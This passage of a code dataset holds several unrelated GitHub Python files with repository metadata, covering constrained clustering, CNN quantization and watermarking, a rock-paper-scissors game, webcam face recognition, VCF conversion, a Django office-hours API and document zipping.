clusters_inc_model.fit(data, ml=ml, cl=cl)\n #Don't need to sort these as avg is the only value being taken from this. \n cluster_inc_sil_arr = metrics.silhouette_samples(data, clusters_inc_model.labels_)\n if cluster_num > 2:\n clusters_dec_model = PCKMeans(n_clusters=cluster_num-1)\n clusters_dec_model.fit(data, ml=ml, cl=cl)\n #Don't need to sort these as avg is the only value being taken from this. \n cluster_dec_sil_arr = metrics.silhouette_samples(data, clusters_dec_model.labels_)\n else:\n model = PCKMeans(n_clusters=cluster_num)\n try:\n model.fit(data)\n except TypeError:\n # Error 1 sent to client to handle properly.\n print(1)\n raise TypeError(\"There exists a string values in the dataset that the tool was unable to handle properly.\")\n\n labels = model.labels_\n # Creation of graph for image.\n # plt.style.use('dark_background') for landing page pic\n plt.scatter(data[:, 0], data[:, 1], c=labels, s=10, cmap=plt.cm.RdBu)\n plt.savefig(\"interactive-constrained-clustering/src/images/clusterImg\" + cluster_iter, orientation='portrait') # dpi=100 for landing page pic\n # plt.savefig(\"interactive-constrained-clustering/src/images/clusterImg\"+cluster_iter)\n\n # Save model.\n #dump(obj, open(filename, mode))\n pickle.dump(model, open('interactive-constrained-clustering/src/model/finalized_model.sav', 'wb'))\n\n #Isolation Forest Anomoly Score\n if_samp = IsolationForest(random_state=0).fit(data).score_samples(data)\n norm_if_scores = map(lambda x, r=float(np.max(if_samp) - np.min(if_samp)): ((x - np.min(if_samp)) / r), if_samp)\n\n #Local Outlier Factor\n neg_out_arr = LocalOutlierFactor().fit(data).negative_outlier_factor_\n norm_nog = map(lambda x, r=float(np.max(neg_out_arr) - np.min(neg_out_arr)): ((x - np.min(neg_out_arr)) / r), neg_out_arr)\n\n #Sihlouette\n # Passing my data (data) and the certain cluster that each data point from X should be based on our model.\n sil_arr = metrics.silhouette_samples(data, labels)\n sorted_sil_arr = sorted(sil_arr)\n norm_sil = map(lambda x, r=float(np.max(sil_arr) - np.min(sil_arr)): ((x - np.min(sil_arr)) / r), sil_arr)\n\n avg_sil = sum(sorted_sil_arr)/len(sorted_sil_arr)\n #cluster+1 and cluster-1 portion for silhoutte. Determine if we must flag the notif in front-end app. \n sil_change_value = 0\n if int(cluster_iter) != 1:\n avg_inc_sil = sum(cluster_inc_sil_arr)/len(cluster_inc_sil_arr)\n if int(cluster_num) > 2:\n avg_dec_sil = sum(cluster_dec_sil_arr)/len(cluster_dec_sil_arr)\n if avg_sil < avg_inc_sil and avg_dec_sil < avg_inc_sil:\n sil_change_value = 4\n elif avg_sil < avg_dec_sil and avg_inc_sil < avg_dec_sil:\n sil_change_value = 5\n else:\n if avg_sil < avg_inc_sil:\n sil_change_value = 4\n\n\n #Take all the normalized metric arrays, determine the avg to provide for question determination\n normalized_magic = [((x*0.5) + (y*0.25) + (z*0.25)) for x, y, z in zip(norm_sil, norm_nog, norm_if_scores)]\n sorted_norm_magic = sorted(normalized_magic)\n\n #Min\n print(sorted_norm_magic[0])\n print(\"SEPERATOR\")\n #Avg\n print(str(sum(normalized_magic)/len(normalized_magic)))\n print(\"SEPERATOR\")\n #Max\n print(sorted_norm_magic[-1])\n print(\"SEPERATOR\")\n\n question_set_indices = []\n # Interested in question_num/2 unreliable data points as we will compare the nearest neighbour of same node and nearest neighbour of a diffrent node\n # Converting the lowest indecies into an array of list(index,index) based on nearest sets of clusters.\n for v in sorted_norm_magic[:int(question_num/2)]:\n question_set_indices += np.where(normalized_magic == v)\n #Creating neighbor to determine nearest nodes. \n neighbor = NearestNeighbors()\n neighbor.fit(data)\n # Format for question_set: [valueQuestioned(VQ), VQSameNeighbor, VQ, VQDiffNeighbor, VQ2, VQ2SameNeighbor, VQ2, VQ2DiffNeighbor,...]\n # This format is used to support the transfer into javascript.\n question_set = []\n for value in question_set_indices:\n # Sets the even value of the array to the nearest neighbour.\n find_pair(1, neighbor, data, value, labels, question_set, must_link_constraints, cant_link_constraints, unknown_constraints)\n # Sets the odd values of the array to the nearest neighbour that doens't have the same cluster value\n find_pair(2, neighbor, data, value, labels, question_set, must_link_constraints, cant_link_constraints, unknown_constraints)\n print(question_set)\n print(\"SEPERATOR\")\n print(sil_change_value)\n\n'''\nfilename - filename within datasets folder to search for. \nclustering_iter - to support the naming of the clustering in images.\nquestion_num - the input from the landing page will set the num of samples that will be collected.\ncluster_num - the number of clusters for the PCKmeans algorithm.\nml - The must link constraints from the oracle.\ncl - The can't link constraints from the oracle.\nunknown - The unknown constraints from the oracle. \n'''\n# Handle incoming values from program call.\nfilename = str(sys.argv[1])\ncluster_iter = str(sys.argv[2])\nquestion_num = int(sys.argv[3])\ncluster_num = int(sys.argv[4])\nml = sys.argv[5].split(\",\")\ncl = sys.argv[6].split(\",\")\nunknown = sys.argv[7].split(\",\")\n\ncompute_questions(filename, cluster_iter, question_num, cluster_num, ml, cl, unknown)","repo_name":"vsusini/Machine-Guided-Interactive-Clustering","sub_path":"interactive_constrained_clustering.py","file_name":"interactive_constrained_clustering.py","file_ext":"py","file_size_in_byte":10759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"29426159182","text":"#import os\n#os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"-1\"\n\n#CIFAR-10のデータセットのインポート\nfrom tensorflow.keras.datasets import cifar10\n(X_train, Y_train), (X_test, Y_test) = cifar10.load_data()\n \n#CIFAR-10の正規化\nfrom tensorflow.keras.utils import to_categorical\n \n \n# 特徴量の正規化\nX_train = X_train/255.\nX_test = X_test/255.\n\nY_test_tmp = Y_test\n\n# クラスラベルの1-hotベクトル化\nY_train = to_categorical(Y_train, 10)\nY_test = to_categorical(Y_test, 10)\n \n# CNNの構築\nimport tensorflow.keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten,InputLayer\nfrom tensorflow.keras.optimizers import SGD\nimport numpy as np\nimport tensorflow as tf\nimport random\nimport tempfile\nimport os\nfrom tensorflow.keras import regularizers\n\ndef set_seed(seed=200):\n tf.random.set_seed(seed)\n\n # optional\n # for numpy.random\n np.random.seed(seed)\n # for built-in random\n random.seed(seed)\n # for hash seed\n os.environ[\"PYTHONHASHSEED\"] = str(seed)\n\nset_seed(0)\n\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.keras import backend\nimport math\n\ndef custom(weights):\n w = tf.reduce_mean(weights,axis=3)\n w = tf.reshape(w,[576,1])\n\n x = tf.constant(np.random.rand(10,576),dtype=tf.float32)\n\n x_weights = tf.matmul(x,w) \n\n x_weights = tf.sigmoid(x_weights) \n \n arr = np.ones((10,1),dtype='float64')\n #a = np.array([0,1],dtype = 'float64')\n #arr = np.tile(a,128)\n \n loss = tf.reduce_sum(tf.keras.backend.binary_crossentropy(x_weights,tf.keras.backend.cast_to_floatx(arr)))\n\n return 0.01 * loss\n\nmodel = tf.keras.models.load_model('./original_3300_10.h5',custom_objects={'custom': custom})\n#print(model.evaluate(X_test, Y_test))\n\nimport tensorflow_model_optimization as tfmot\n\nquantize_scope = tfmot.quantization.keras.quantize_scope\nquantize_model = tfmot.quantization.keras.quantize_model\n\nwith quantize_scope({'custom':custom}):\n # q_aware stands for for quantization aware.\n q_aware_model = quantize_model(model)\n\n# `quantize_model` requires a recompile.\nq_aware_model.compile(optimizer='SGD',\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n\n\nX_train_subset = X_train[0:1000] # out of 60000\nY_train_subset = Y_train[0:1000]\n\nq_aware_model.fit(X_train_subset, Y_train_subset,\n batch_size=500, epochs=50, validation_split=0.1)\n\n_, baseline_model_accuracy = model.evaluate(\n X_test, Y_test, verbose=0)\n\n_, q_aware_model_accuracy = q_aware_model.evaluate(\n X_test, Y_test, verbose=0)\n\nprint('Baseline test accuracy:', baseline_model_accuracy)\nprint('Quant test accuracy:', q_aware_model_accuracy)\n\nq_aware_model.summary()\n\n# モデルの保存\nq_aware_model.save('./q_aware.h5')\n\n# モデルの保存\n#model.save('./simple_reg.h5')\n \n#評価 & 評価結果出力\n#print(model.evaluate(X_test, Y_test))\n\n\n\n#電子透かし出力\nlayer = q_aware_model.layers[4] \n#print(q_aware_model.layers)\n#print(layer.get_weights())\n\nw = layer.get_weights()[1]\nw = np.array(w)\nnp.set_printoptions(threshold=np.inf)\n\n\nw = np.mean(w,axis=3)\nw = np.reshape(w,[576,1])\nx = np.random.rand(10,576)\n\nx_weights = np.matmul(x,w)\n\n# シグモイド関数の定義\ndef sigmoid(a):\n return 1 / (1 + np.exp(-a))\n\nx_weights = sigmoid(x_weights)\n\nprint(x_weights)\n\n\nconverter = tf.lite.TFLiteConverter.from_keras_model(q_aware_model)\nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\n\nquantized_tflite_model = converter.convert()\n\nimport numpy as np\n\n\n\n# Create float TFLite model.\nfloat_converter = tf.lite.TFLiteConverter.from_keras_model(model)\nfloat_tflite_model = float_converter.convert()\n\n# Measure sizes of models.\n_, float_file = tempfile.mkstemp('.tflite')\n_, quant_file = tempfile.mkstemp('.tflite')\n\nwith open(quant_file, 'wb') as f:\n f.write(quantized_tflite_model)\n\nwith open(float_file, 'wb') as f:\n f.write(float_tflite_model)\n\nprint(\"Float model in Mb:\", os.path.getsize(float_file) / float(2**20))\nprint(\"Quantized model in Mb:\", os.path.getsize(quant_file) / float(2**20))\n\n","repo_name":"OIT-IMCLab/CNN_Watermark","sub_path":"qat.py","file_name":"qat.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23428704649","text":"import random\nimport time\n\ncomputer_antworten = ['Sciccors', 'Rock', 'Paper',]\nend_abfrage = \"y\"\n\nprint(\"Welcome to rock, paper, sciccors\")\ntime.sleep(1)\neingabe_spieler = input(\"Chose [1] Sciccor [2] Stone [3] Paper\")\n\n\nif eingabe_spieler == \"1\":\n print(\"You chose sciccor!\")\n time.sleep(1)\n print(\"It's the Computers turn!\")\n time.sleep(1)\n antwort_auf_schere = random.choice(computer_antworten)\n print(\"He's choosing\")\n time.sleep(1.5)\n print(antwort_auf_schere)\n if antwort_auf_schere == 'Schere':\n time.sleep(0.5)\n print(\"**Its a tie!**\")\n elif antwort_auf_schere == 'Stein':\n time.sleep(0.5)\n print(\"**You lost!**\")\n else:\n time.sleep(0.5)\n print(\"**You won!**\")\n \n\n\n\nif eingabe_spieler == \"2\":\n print(\"You chose stone!\")\n time.sleep(1)\n print(\"It's the Computers turn!\")\n time.sleep(1)\n antwort_auf_stein = random.choice(computer_antworten)\n print(\"He's choosing!\")\n time.sleep(1.5)\n print(antwort_auf_stein)\n if antwort_auf_stein == 'Schere':\n time.sleep(0.5)\n print(\"**DYou won!**\")\n elif antwort_auf_stein == 'Stein':\n time.sleep(0.5)\n print(\"**Tie!**\")\n else:\n time.sleep(0.5)\n print(\"**You lost!**\")\n\n\nif eingabe_spieler == \"3\":\n print(\"DYou chose paper!\")\n time.sleep(1)\n print(\"It's the Computers turn\")\n time.sleep(1)\n antwort_auf_papier = random.choice(computer_antworten)\n print(\"He's choosing\")\n time.sleep(1.5)\n print(antwort_auf_papier)\n if antwort_auf_papier == 'Schere':\n time.sleep(0.5)\n print(\"**You lost!**\")\n elif antwort_auf_papier == 'Stein':\n time.sleep(0.5)\n print(\"**DYou won!**\")\n else:\n time.sleep(0.5)\n print(\"**Tie!**\")\n \n\n \n \n\n \n \n","repo_name":"parthbheda/pythoniffie","sub_path":"rock_scissors_paper_en.py","file_name":"rock_scissors_paper_en.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"62"} +{"seq_id":"36828775484","text":"import os\r\n\r\nimport cv2\r\nimport mediapipe as mp\r\nimport time\r\nimport face_recognition\r\nimport numpy as np\r\n\r\n\r\n# # \"videos/test1.mp4\"\r\n# cap = cv2.VideoCapture(0)\r\n# pTime = 0\r\n#\r\n# mpFaceDetection = mp.solutions.face_detection\r\n# mpDraw = mp.solutions.drawing_utils\r\n# faceDetection = mpFaceDetection.FaceDetection(0.75)\r\n#\r\n# while True:\r\n# success, img = cap.read()\r\n# imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n# result = faceDetection.process(imgRGB)\r\n# # print(result)\r\n#\r\n# if result.detections:\r\n# for id, detection in enumerate(result.detections):\r\n# # mpDraw.draw_detection(img, detection)\r\n# # print(id, detection)\r\n#\r\n# bboxC = detection.location_data.relative_bounding_box\r\n# ih, iw, ic = img.shape\r\n# bbox = int(bboxC.xmin * iw), int(bboxC.ymin * ih),\\\r\n# int(bboxC.width * iw), int(bboxC.height * ih)\r\n# cv2.rectangle(img, bbox, (0, 255, 0), 2)\r\n# cv2.putText(img, f'{int(detection.score[0] * 100)}%', (bbox[0], bbox[1]-20), cv2.FONT_HERSHEY_PLAIN, 3, (255, 0, 0), 2)\r\n#\r\n# cTime = time.time()\r\n# fps = 1/(cTime-pTime)\r\n# pTime = cTime\r\n# cv2.putText(img,f'FPS: {int(fps)}', (20, 70), cv2.FONT_HERSHEY_PLAIN, 3, (0,255,0), 2)\r\n# cv2.imshow(\"record\", img)\r\n# cv2.waitKey(1)\r\n\r\npath = \"test_images\"\r\n\r\nimages = []\r\nclassNames = []\r\nmy_list = os.listdir(path)\r\nprint(my_list)\r\n\r\nfor c1 in my_list:\r\n curImg = cv2.imread(f'{path}/{c1}')\r\n images.append(curImg)\r\n classNames.append(os.path.splitext(c1)[0])\r\n\r\nprint(classNames)\r\n\r\n\r\ndef find_encodings(images):\r\n encodelist = []\r\n for img in images:\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n encode = face_recognition.face_encodings(img)[0]\r\n encodelist.append(encode)\r\n return encodelist\r\n\r\n\r\nencode_list_known = find_encodings(images)\r\nprint(\"encodings_complete\")\r\n\r\n\r\nclass Face_Detector():\r\n def __init__(self, minDetect = 0.5):\r\n self.minDetect = minDetect\r\n self.mpFaceDetection = mp.solutions.face_detection\r\n self.mpDraw = mp.solutions.drawing_utils\r\n self.faceDetection = self.mpFaceDetection.FaceDetection(0.75)\r\n\r\n def findFaces(self,img,draw=False):\r\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n self.result = self.faceDetection.process(imgRGB)\r\n # print(result)\r\n bboxss = []\r\n if self.result.detections:\r\n for id, detection in enumerate(self.result.detections):\r\n # mpDraw.draw_detection(img, detection)\r\n # print(id, detection)\r\n\r\n bboxC = detection.location_data.relative_bounding_box\r\n ih, iw, ic = img.shape\r\n bbox = int(bboxC.xmin * iw), int(bboxC.ymin * ih), \\\r\n int(bboxC.width * iw), int(bboxC.height * ih)\r\n # bboxss.append([id, bbox, detection.score])\r\n bboxss.append(bbox)\r\n cv2.rectangle(img, bbox, (0, 255, 0), 2)\r\n cv2.putText(img, f'{int(detection.score[0] * 100)}%', (bbox[0], bbox[1] - 20), cv2.FONT_HERSHEY_PLAIN,\r\n 3, (255, 0, 0), 2)\r\n return img, bboxss\r\n\r\n\r\ndef main():\r\n cap = cv2.VideoCapture(0)\r\n pTime = 0\r\n detector = Face_Detector()\r\n while True:\r\n success, img = cap.read()\r\n imgS = cv2.resize(img, (0, 0), None, 0.25, 0.25)\r\n imgS, bboxss = detector.findFaces(imgS)\r\n print(bboxss)\r\n face_in_curr_frame = face_recognition.face_encodings(img, bboxss)\r\n for encode in face_in_curr_frame:\r\n matches = face_recognition.compare_faces(encode_list_known, encode)\r\n facedistance = face_recognition.face_distance(encode_list_known, encode)\r\n\r\n\r\n matchIndex = np.argmin(facedistance)\r\n\r\n if matches[matchIndex]:\r\n name = classNames[matchIndex].upper()\r\n y1, x2, y2, x1 = bboxss[2], bboxss[1], bboxss[3], bboxss[0]\r\n y1, x2, y2, x1 = y1*4,x2*4,y2*4,x1*4\r\n # cv2.rectangle(img,bboxss,(0,255,0),2)\r\n cv2.rectangle(img,(x1, y2-35),(x2,y2),(0,255,0),cv2.FILLED)\r\n cv2.putText(img,name,(x1+6, y2-6),cv2.FONT_HERSHEY_COMPLEX,1,(255,255,255),2)\r\n # cv2.putText(img, f'{name}', (bboxss[0], bboxss[1] - 20), cv2.FONT_HERSHEY_PLAIN,\r\n # 3, (255, 0, 0), 2)\r\n\r\n cTime = time.time()\r\n fps = 1 / (cTime - pTime)\r\n pTime = cTime\r\n cv2.putText(img, f'FPS: {int(fps)}', (20, 70), cv2.FONT_HERSHEY_PLAIN, 3, (0, 255, 0), 2)\r\n cv2.imshow(\"record\", img)\r\n cv2.waitKey(1)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"lakshaykaushik5/Smart-Authentication-System","sub_path":"learn_basic.py","file_name":"learn_basic.py","file_ext":"py","file_size_in_byte":4737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8071112597","text":"import sys\n\ndef main():\n prefix = sys.argv[1]\n out_vcf = sys.argv[2]\n\n if len(sys.argv) > 3 and sys.argv[3].lower() == 'true':\n phased_output = True\n else:\n phased_output = False\n\n moderns = 0\n ancients = 0\n\n with open(prefix + '.sample', 'r') as sam:\n for line in sam:\n if 'PRE' in line:\n moderns += 1\n elif 'ANC' in line:\n ancients += 1\n\n sites = []\n hap_lines = []\n alleles = []\n with open(prefix + '.haps', 'r') as hap:\n for line in hap:\n toks = line.split()\n\n sites.append(toks[2])\n\n hap_line = ''\n for h0, h1 in zip(toks[5::2], toks[6::2]):\n if phased_output or h0 == h1:\n to_add = f'{h0}/{h1}\\t'\n else:\n to_add = '0/1\\t'\n hap_line += to_add\n\n hap_lines.append(hap_line.strip())\n\n alleles.append(toks[3:5])\n\n out_lines = ['##fileformat=VCFv4.2\\n']\n out_lines.append('##FORMAT=\\n')\n header_line = '#CHROM\\tPOS\\tID\\tREF\\tALT\\tQUAL\\tFILTER\\tINFO\\tFORMAT'\n\n for i in range(moderns):\n header_line += f'\\tMOD{i + 1}'\n for i in range(ancients):\n header_line += f'\\tANC{i + 1}'\n\n out_lines.append(header_line + '\\n')\n\n for site, haps, als in zip(sites, hap_lines, alleles):\n if als[0] == als[1]:\n out_lines.append(f'sim\\t{site}\\t.\\t{als[0]}\\t.\\t999\\t.\\t.\\tGT\\t{haps}\\n')\n else:\n out_lines.append(f'sim\\t{site}\\t.\\t{als[0]}\\t{als[1]}\\t999\\t.\\t.\\tGT\\t{haps}\\n')\n\n with open(out_vcf, 'w') as out:\n out.writelines(out_lines)\n\nif __name__ == '__main__':\n main()\n","repo_name":"Jazpy/Paleogenomic-Datasim","sub_path":"pca_analysis/py_scripts/haps_to_vcf.py","file_name":"haps_to_vcf.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27168730012","text":"import numpy as np\nimport sys\n\n\nfci = np.zeros((10,10,10,10))\n\nhead = ''''''\nwith open(sys.argv[1]) as f1:\n for i in range(4):\n head += f1.readline()\n for line in f1:\n split = line.split()\n c=format(float(split[0]), '.8f')\n coeff =27.2114*float(c) \n d = int(split[1]);e=int(split[2]);f=int(split[3]);g=int(split[4])\n if d==e and f==g and d==0:\n ncore = '{:.12e}' .format(float(split[0])) \n break\n fci[d-1,e-1,f-1,g-1] = float(split[0])\n\n\nM = 6\nn = 4\nT = 1 # this is the hopping inside the chain\ne = (fci[2,2,0,0]+ fci[3,3,0,0] )/2 # this is the energy of the metal levels: it should be \"in gap\".\nT = T / 27.2114\n\nfor j in range(M, M+n-1):\n fci[j+1,j , 0, 0] += T\n fci[j,j , 0, 0] += e\nfci[M+n-1,M+n-1 , 0, 0] += e\n\n\nt_max = 0.1/27.2114 # Hopping of the chain with the HOMO/LUMO.\nt = np.hstack((np.linspace(0, t_max, int(M/2)), np.flip(np.linspace(0, t_max, int(M/2)))))\n\nfor j in range(0,M):\n fci[M,j,0,0] += t[j]\n\n\n\nfo = open('chechfci','w')\n\nfo.write(head)\nij = 0\nfor i in range(len(fci)):\n for j in range(0, i+1):\n kl = 0\n for k in range(0, i+1):\n for l in range(0, k+1):\n if ij >= kl:\n coef = '{:.12e}' .format(fci[i,j,k,l])\n fo.write('{:<30} {:>5} {:>5} {:>5} {:>5} \\n'.format(coef, i+1, j+1, k+1, l+1 ))\n kl += 1\n ij += 1\n\nfor i in range(len(fci)):\n for j in range(0, i+1):\n coef = '{:.12e}' .format(fci[i,j,0,0])\n fo.write('{:<30} {:>5} {:>5} {:>5} {:>5} \\n'.format(coef, i+1, j+1, 0, 0))\nfo.write('{:<30} {:>5} {:>5} {:>5} {:>5}' .format(ncore, 0, 0, 0, 0))\n \n","repo_name":"ManishMitharwall/CASERO","sub_path":"trash.py","file_name":"trash.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21958684046","text":"from datetime import timedelta\nfrom dateutil.parser import isoparse\nfrom django.conf import settings\nfrom django.http import Http404\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\n\nfrom accelerator.models import MentorProgramOfficeHour\n\nfrom ...minimal_email_handler import MinimalEmailHandler\nfrom ...permissions.v1_api_permissions import OfficeHourPermission\nfrom ..serializers.office_hours_serializer import OfficeHourSerializer\nfrom .utils import (\n office_hour_time_info,\n datetime_is_in_past,\n)\n\nDEFAULT_TIMEZONE = 'UTC'\nFAIL_CREATE_HEADER = 'Office hour session could not be created'\nFAIL_EDIT_HEADER = 'Office hour session could not be updated'\nSUCCESS_DETAIL = \"{start_time} - {end_time} on {date}\"\nNOT_FOUND_HOUR = (\"The office hour session you are trying to update \"\n \"doesn't exist\")\nSUCCESS_PAST_DETAIL = \"This office hour occurs in the past\"\nSUCCESS_CREATE_HEADER = 'Office hour session(s) created'\nSUCCESS_EDIT_HEADER = 'Office hour updated'\n\nSUBJECT = (\"[Office Hours] Confirmation of Office Hours on {date} \"\n \"from {start_time} to {end_time} \")\nCREATE_BODY = (\n \"Hi {first_name},\\n\\n\"\n \"We’re letting you know that a MassChallenge team member \"\n \"has created office hours on your behalf. You are scheduled \"\n \"to hold office hours on {date} at the following times:\\n\\n\"\n \"Time: {start_time}-{end_time} ({timezone}) / Location: {location}\\n\\n\"\n \"A notification email will be sent to you when a finalist \"\n \"reserves any of your office hours.\\n\\n\"\n \"You can also visit \"\n \"accelerate.masschallenge.org/officehours/ at any time to view\"\n \" and manage your office hours\\n\\n\"\n \"Thank you for volunteering your time to meet with MassChallenge \"\n \"Finalists! If you have questions, reach out to your community \"\n \"manager or contact us at any time via \"\n \"https://masschallenge.org/contact\\n\\n\"\n \"- The MassChallenge Team\\n\"\n)\nEDIT_BODY = (\n \"Hi {first_name},\\n\\n\"\n \"We’re letting you know that a MassChallenge team member \"\n \"has changed office hours on your behalf. You are now scheduled \"\n \"to hold office hours on {date} at the following times:\\n\\n\"\n \"Time: {start_time}-{end_time} ({timezone}) / Location: {location}\\n\\n\"\n \"A notification email will be sent to you when a finalist \"\n \"reserves any of your office hours.\\n\\n\"\n \"You can also visit \"\n \"accelerate.masschallenge.org/officehours/ at any time to view\"\n \" and manage your office hours\\n\\n\"\n \"Thank you for volunteering your time to meet with MassChallenge \"\n \"Finalists! If you have questions, reach out to your community \"\n \"manager or contact us at any time via \"\n \"https://masschallenge.org/contact\\n\\n\"\n \"- The MassChallenge Team\\n\"\n)\n\n\ndef handle_fail(errors, edit=False):\n return Response({\n 'errors': errors,\n 'header': FAIL_EDIT_HEADER if edit else FAIL_CREATE_HEADER,\n 'success': False\n })\n\n\ndef get_email_context(office_hour, last_office_hour=None):\n location = office_hour.location\n context = office_hour_time_info(office_hour, last_office_hour)\n context.update({\n 'location': location.name if location else '',\n 'mentor_email': office_hour.mentor.email,\n 'first_name': office_hour.mentor.first_name,\n })\n return context\n\n\nclass OfficeHourViewSet(viewsets.ModelViewSet):\n http_method_names = ('post', 'patch')\n queryset = MentorProgramOfficeHour.objects.all()\n serializer_class = OfficeHourSerializer\n permission_classes = (OfficeHourPermission,)\n view_name = 'create_edit_office_hours'\n\n def perform_save(self, request, serializer, save_operation):\n if not serializer.is_valid():\n return handle_fail(serializer.errors, True)\n save_operation(serializer)\n self.office_hour = serializer.instance\n if request.user != self.office_hour.mentor:\n self.handle_send_mail(self.office_hour, edit=True)\n return self.handle_success([serializer.data], True)\n\n def handle_response(self, request):\n if request.method == 'PATCH':\n try:\n instance = self.get_object()\n except Http404:\n return handle_fail({\"errors\": NOT_FOUND_HOUR}, edit=True)\n serializer = self.get_serializer(\n instance, data=request.data, partial=True)\n save_operation = self.perform_update\n return self.perform_save(request, serializer, save_operation)\n\n def create(self, request, *args, **kwargs):\n data_sets = parse_date_specs(request.data)\n serializers = [self.get_serializer(data=data) for data in data_sets]\n invalid_serializers = [s for s in serializers if not s.is_valid()]\n if invalid_serializers:\n return handle_fail(invalid_serializers[0].errors)\n for serializer in serializers:\n self.perform_create(serializer)\n first_office_hour = serializers[0].instance\n self.office_hour = first_office_hour\n last_office_hour = serializers[-1].instance\n if request.user != first_office_hour.mentor:\n self.handle_send_mail(\n first_office_hour,\n last_office_hour=last_office_hour)\n\n return self.handle_success(\n [serializer.data for serializer in serializers])\n\n def update(self, request, *args, **kwargs):\n return self.handle_response(request)\n\n def handle_send_mail(self, office_hour, edit=False, last_office_hour=None):\n context = get_email_context(office_hour, last_office_hour)\n body = EDIT_BODY if edit else CREATE_BODY\n MinimalEmailHandler(\n to=[office_hour.mentor.email],\n subject=SUBJECT.format(**context),\n body=body.format(**context),\n from_email=settings.NO_REPLY_EMAIL).send()\n\n def handle_success(self, data, edit=False,):\n return Response({\n 'data': data,\n 'header': SUCCESS_EDIT_HEADER if edit else SUCCESS_CREATE_HEADER,\n \"detail\": SUCCESS_PAST_DETAIL if datetime_is_in_past(\n self.office_hour.start_date_time) else \"\",\n 'success': True\n })\n\n\ndef parse_date_specs(data):\n datasets = []\n thirty_minutes = timedelta(minutes=30)\n start_date_time = isoparse(data['start_date_time'])\n end_date_time = isoparse(data['end_date_time'])\n if end_date_time < start_date_time + thirty_minutes:\n return [data] # let serializer handle this error\n current_session_end = start_date_time + thirty_minutes\n while current_session_end <= end_date_time:\n dataset = data.copy()\n dataset['start_date_time'] = start_date_time\n dataset['end_date_time'] = current_session_end\n datasets.append(dataset)\n start_date_time = current_session_end\n current_session_end += thirty_minutes\n return datasets\n","repo_name":"masschallenge/impact-api","sub_path":"web/impact/impact/v1/views/office_hour_view.py","file_name":"office_hour_view.py","file_ext":"py","file_size_in_byte":6902,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"32003208608","text":"from tasks_utils.requests import download_file\nfrom zipfile import ZipFile, ZIP_DEFLATED\nimport os.path\nimport tempfile\nimport base64\n\n\ndef prepare_documents(task, item):\n if item.get(\"documents\"):\n # get rid of prev versions of files\n documents = {}\n for d in item[\"documents\"]:\n if d[\"id\"] not in documents or d[\"dateModified\"] > documents[d[\"id\"]][\"dateModified\"]:\n documents[d[\"id\"]] = d\n item[\"documents\"] = documents.values()\n\n # replacing links with b64 of a zip file\n with tempfile.TemporaryDirectory() as tmp_dir:\n zip_file = \"spam.zip\"\n full_zip_file = os.path.join(tmp_dir, zip_file)\n with ZipFile(full_zip_file, \"w\", compression=ZIP_DEFLATED) as zip_file:\n file_names = {zip_file}\n for document in item[\"documents\"]:\n filename, content = download_file(task, document[\"url\"])\n\n # getting unique filename\n index = 1\n if \".\" in filename:\n name, ext = filename.split(\".\", 1)\n name_suffix = f\".{ext}\"\n else:\n name, name_suffix = filename, \"\"\n while filename in file_names:\n filename = f\"{name}({index}){name_suffix}\"\n index += 1\n file_names.add(filename)\n\n # saving file\n full_file_name = os.path.join(tmp_dir, filename)\n with open(full_file_name, \"wb\") as f:\n f.write(content)\n\n # zipping file\n zip_file.write(full_file_name, filename)\n\n # getting base64 of the whole zip file\n with open(full_zip_file, \"rb\") as f:\n b64_docs = base64.b64encode(f.read())\n\n # replacing docs\n item[\"documents\"] = b64_docs.decode()\n","repo_name":"ProzorroUKR/prozorro_tasks","sub_path":"treasury/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"27718974725","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport argparse\nimport itertools\n\nparser = argparse.ArgumentParser(argument_default=argparse.SUPPRESS, description='Make pairs \"group id - pronoun id\".')\nparser.add_argument('infile1', nargs='?', type = argparse.FileType('r'), help = 'file with a list of groups')\nparser.add_argument('infile2', nargs='?', type = argparse.FileType('r'), help = 'file with a list of pronouns')\nargs = parser.parse_args()\n\n\ngroups = {}\npron = {}\n\n\nfor s in args.infile1: # dict group_id : max token \n if not s.rstrip('\\r\\n'):\n continue \n s = s.strip().split('\\t')\n groups[int(s[0])] = int(max(s[1].split(',')))\n\n\nfor line in args.infile2: # dict pron_id : token number\n if not line.rstrip('\\r\\n'):\n continue\n line = line.strip().split('\\t')\n pron[int(line[0])] = int(line[1])\n \n\ngroup_keys = sorted(groups.keys())\npronoun_keys = sorted(pron.keys())\n\n\nresult = itertools.product(group_keys, pronoun_keys)\nfor i in result:\n if groups[i[0]] < pron[i[1]]:\n sys.stdout.write('{0}__{1}'.format(str(i[0]), str(i[1]) + '\\n'))\n if groups[i[0]] > pron[i[1]]:\n continue 